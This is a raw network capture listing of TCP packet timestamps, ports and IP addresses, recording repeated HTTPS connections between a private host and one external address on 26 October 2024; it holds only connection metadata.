Oct 26, 2024 13:45:11.796490908 CEST	49761	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.796514034 CEST	443	49761	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:11.796581984 CEST	49761	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.796708107 CEST	49761	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:11.796724081 CEST	443	49761	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.510247946 CEST	443	49758	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.511070967 CEST	49758	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.511091948 CEST	443	49758	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.511579990 CEST	49758	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.511586905 CEST	443	49758	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.513309002 CEST	443	49761	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.513555050 CEST	49761	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.513585091 CEST	443	49761	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.513886929 CEST	49761	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.513896942 CEST	443	49761	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.513942003 CEST	443	49760	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.514173031 CEST	443	49757	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.514185905 CEST	49760	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.514203072 CEST	443	49760	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.514458895 CEST	49757	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.514501095 CEST	443	49757	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.514532089 CEST	49760	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.514539957 CEST	443	49760	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.514939070 CEST	49757	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.514945984 CEST	443	49757	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.537082911 CEST	443	49759	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.537858009 CEST	49759	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.537878990 CEST	443	49759	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.538316965 CEST	49759	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.538324118 CEST	443	49759	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.642056942 CEST	443	49758	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.642153025 CEST	443	49758	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.642198086 CEST	49758	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.642474890 CEST	49758	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.642474890 CEST	49758	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.642493010 CEST	443	49758	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.642502069 CEST	443	49758	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.642940998 CEST	443	49760	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.643368006 CEST	443	49760	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.643415928 CEST	49760	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.643481016 CEST	49760	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.643493891 CEST	443	49760	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.643510103 CEST	49760	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.643516064 CEST	443	49760	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.643546104 CEST	443	49761	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.643604994 CEST	443	49761	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.643651962 CEST	49761	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.644561052 CEST	49761	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.644584894 CEST	443	49761	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.644601107 CEST	49761	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.644608021 CEST	443	49761	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.645291090 CEST	443	49757	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.645443916 CEST	443	49757	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.645503998 CEST	49757	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.646198988 CEST	49757	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.646222115 CEST	443	49757	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.646241903 CEST	49757	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.646250010 CEST	443	49757	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.649571896 CEST	49763	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.649590015 CEST	49762	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.649605036 CEST	443	49763	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.649621964 CEST	443	49762	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.649667978 CEST	49763	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.649696112 CEST	49762	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.650358915 CEST	49764	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.650383949 CEST	443	49764	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.650429010 CEST	49764	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.651179075 CEST	49765	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.651217937 CEST	443	49765	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.651278973 CEST	49765	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.651333094 CEST	49763	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.651349068 CEST	443	49763	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.651406050 CEST	49765	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.651420116 CEST	443	49765	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.651498079 CEST	49764	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.651515961 CEST	443	49764	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.651561975 CEST	49762	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.651576996 CEST	443	49762	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.671027899 CEST	443	49759	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.671156883 CEST	443	49759	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.671358109 CEST	49759	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.671416998 CEST	49759	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.671437025 CEST	443	49759	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.671447039 CEST	49759	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.671453953 CEST	443	49759	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.673597097 CEST	49766	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.673614025 CEST	443	49766	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:12.673683882 CEST	49766	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.673829079 CEST	49766	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:12.673841953 CEST	443	49766	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.383917093 CEST	443	49762	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.384556055 CEST	49762	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.384581089 CEST	443	49762	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.385324001 CEST	49762	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.385329962 CEST	443	49762	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.387653112 CEST	443	49763	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.388006926 CEST	49763	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.388020039 CEST	443	49763	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.388431072 CEST	49763	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.388437033 CEST	443	49763	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.402746916 CEST	443	49765	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.403163910 CEST	49765	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.403201103 CEST	443	49765	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.403712034 CEST	49765	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.403721094 CEST	443	49765	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.405524015 CEST	443	49766	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.405793905 CEST	49766	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.405812025 CEST	443	49766	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.406177044 CEST	49766	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.406182051 CEST	443	49766	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.516588926 CEST	443	49763	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.516655922 CEST	443	49763	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.516834974 CEST	49763	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.517038107 CEST	49763	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.517057896 CEST	443	49763	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.517075062 CEST	49763	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.517083883 CEST	443	49763	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.520396948 CEST	49767	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.520450115 CEST	443	49767	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.520545006 CEST	49767	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.520740032 CEST	49767	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.520760059 CEST	443	49767	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.535171986 CEST	443	49766	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.535332918 CEST	443	49766	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.535397053 CEST	49766	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.535458088 CEST	49766	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.535475969 CEST	443	49766	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.535490990 CEST	49766	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.535496950 CEST	443	49766	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.538501978 CEST	49768	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.538543940 CEST	443	49768	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.538626909 CEST	49768	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.538758039 CEST	49768	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.538770914 CEST	443	49768	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.590827942 CEST	443	49765	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.591480017 CEST	443	49765	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.591537952 CEST	49765	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.591564894 CEST	443	49764	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.591592073 CEST	49765	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.591604948 CEST	443	49765	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.592120886 CEST	49764	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.592137098 CEST	443	49764	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.592658997 CEST	49764	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.592667103 CEST	443	49764	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.594558001 CEST	443	49762	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.594809055 CEST	443	49762	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.594880104 CEST	49762	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.595309973 CEST	49762	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.595328093 CEST	443	49762	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.595344067 CEST	49762	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.595350027 CEST	443	49762	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.595959902 CEST	49769	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.595999002 CEST	443	49769	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.596127033 CEST	49769	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.596363068 CEST	49769	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.596393108 CEST	443	49769	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.597811937 CEST	49770	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.597846031 CEST	443	49770	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.597903967 CEST	49770	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.598084927 CEST	49770	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.598097086 CEST	443	49770	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.721127987 CEST	443	49764	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.721374035 CEST	443	49764	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.721458912 CEST	49764	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.721611023 CEST	49764	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.721626043 CEST	443	49764	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.721637011 CEST	49764	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.721642971 CEST	443	49764	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.725603104 CEST	49771	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.725641012 CEST	443	49771	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:13.725753069 CEST	49771	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.725950956 CEST	49771	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:13.725975990 CEST	443	49771	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.250524998 CEST	443	49767	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.251269102 CEST	49767	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.251307964 CEST	443	49767	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.251780033 CEST	49767	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.251787901 CEST	443	49767	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.285916090 CEST	443	49768	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.286623001 CEST	49768	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.286649942 CEST	443	49768	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.287087917 CEST	49768	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.287095070 CEST	443	49768	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.335067987 CEST	443	49770	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.335685968 CEST	49770	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.335705042 CEST	443	49770	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.336190939 CEST	49770	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.336195946 CEST	443	49770	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.350017071 CEST	443	49769	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.350811958 CEST	49769	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.350824118 CEST	443	49769	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.351095915 CEST	49769	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.351103067 CEST	443	49769	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.380289078 CEST	443	49767	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.380362988 CEST	443	49767	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.380441904 CEST	49767	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.380762100 CEST	49767	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.380781889 CEST	443	49767	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.380798101 CEST	49767	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.380805969 CEST	443	49767	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.384239912 CEST	49772	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.384270906 CEST	443	49772	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.384337902 CEST	49772	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.384481907 CEST	49772	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.384493113 CEST	443	49772	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.465979099 CEST	443	49771	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.466861963 CEST	49771	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.466887951 CEST	443	49771	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.467386961 CEST	49771	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.467401028 CEST	443	49771	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.484584093 CEST	443	49770	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.484680891 CEST	443	49770	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.484792948 CEST	49770	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.485157967 CEST	49770	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.485173941 CEST	443	49770	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.485183954 CEST	49770	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.485189915 CEST	443	49770	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.488495111 CEST	49773	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.488535881 CEST	443	49773	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.488637924 CEST	49773	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.488820076 CEST	49773	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.488835096 CEST	443	49773	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.491178989 CEST	443	49769	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.492650986 CEST	443	49769	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.492747068 CEST	49769	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.492779970 CEST	49769	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.492779970 CEST	49769	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.492790937 CEST	443	49769	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.492801905 CEST	443	49769	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.495084047 CEST	49774	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.495099068 CEST	443	49774	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.495193958 CEST	49774	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.495347977 CEST	49774	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.495357037 CEST	443	49774	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.597255945 CEST	443	49768	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.597659111 CEST	443	49768	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.597711086 CEST	49768	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.597857952 CEST	49768	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.597882986 CEST	443	49768	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.599594116 CEST	443	49771	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.599670887 CEST	443	49771	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.599993944 CEST	49771	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.600260973 CEST	49771	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.600260973 CEST	49771	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.600281954 CEST	443	49771	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.600296021 CEST	443	49771	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.604583979 CEST	49775	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.604609966 CEST	443	49775	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.604672909 CEST	49775	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.605214119 CEST	49775	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.605225086 CEST	443	49775	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.606775045 CEST	49776	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.606798887 CEST	443	49776	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:14.606883049 CEST	49776	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.607048035 CEST	49776	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:14.607065916 CEST	443	49776	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.138012886 CEST	443	49772	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.138572931 CEST	49772	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.138588905 CEST	443	49772	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.139092922 CEST	49772	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.139098883 CEST	443	49772	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.224999905 CEST	443	49773	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.226815939 CEST	443	49774	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.226978064 CEST	49773	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.226993084 CEST	443	49773	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.227488041 CEST	49773	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.227493048 CEST	443	49773	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.228533030 CEST	49774	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.228543997 CEST	443	49774	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.228945971 CEST	49774	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.228950024 CEST	443	49774	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.269893885 CEST	443	49772	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.269965887 CEST	443	49772	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.270035982 CEST	49772	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.270323038 CEST	49772	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.270344019 CEST	443	49772	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.270354033 CEST	49772	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.270360947 CEST	443	49772	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.274025917 CEST	49777	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.274070024 CEST	443	49777	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.274194956 CEST	49777	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.274303913 CEST	49777	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.274317980 CEST	443	49777	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.332047939 CEST	443	49775	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.332801104 CEST	49775	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.332818031 CEST	443	49775	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.333301067 CEST	49775	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.333307028 CEST	443	49775	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.352824926 CEST	443	49776	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.353472948 CEST	49776	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.353504896 CEST	443	49776	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.353971958 CEST	49776	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.353981018 CEST	443	49776	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.356347084 CEST	443	49774	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.356467009 CEST	443	49774	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.356530905 CEST	49774	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.356559992 CEST	443	49773	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.356604099 CEST	49774	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.356618881 CEST	443	49774	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.356627941 CEST	49774	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.356633902 CEST	443	49774	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.356664896 CEST	443	49773	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.356726885 CEST	49773	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.358196020 CEST	49773	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.358215094 CEST	443	49773	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.358226061 CEST	49773	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.358231068 CEST	443	49773	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.361145020 CEST	49778	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.361183882 CEST	443	49778	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.361301899 CEST	49778	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.361888885 CEST	49779	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.361922979 CEST	443	49779	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.361944914 CEST	49778	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.361963987 CEST	443	49778	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.361989021 CEST	49779	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.362086058 CEST	49779	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.362107992 CEST	443	49779	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.461397886 CEST	443	49775	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.461713076 CEST	443	49775	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.461806059 CEST	49775	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.461978912 CEST	49775	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.461978912 CEST	49775	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.461990118 CEST	443	49775	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.461997986 CEST	443	49775	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.465441942 CEST	49780	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.465461969 CEST	443	49780	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.465567112 CEST	49780	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.465735912 CEST	49780	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.465744019 CEST	443	49780	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.485322952 CEST	443	49776	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.485389948 CEST	443	49776	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.485538006 CEST	49776	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.486136913 CEST	49776	443	192.168.2.4	13.107.246.51
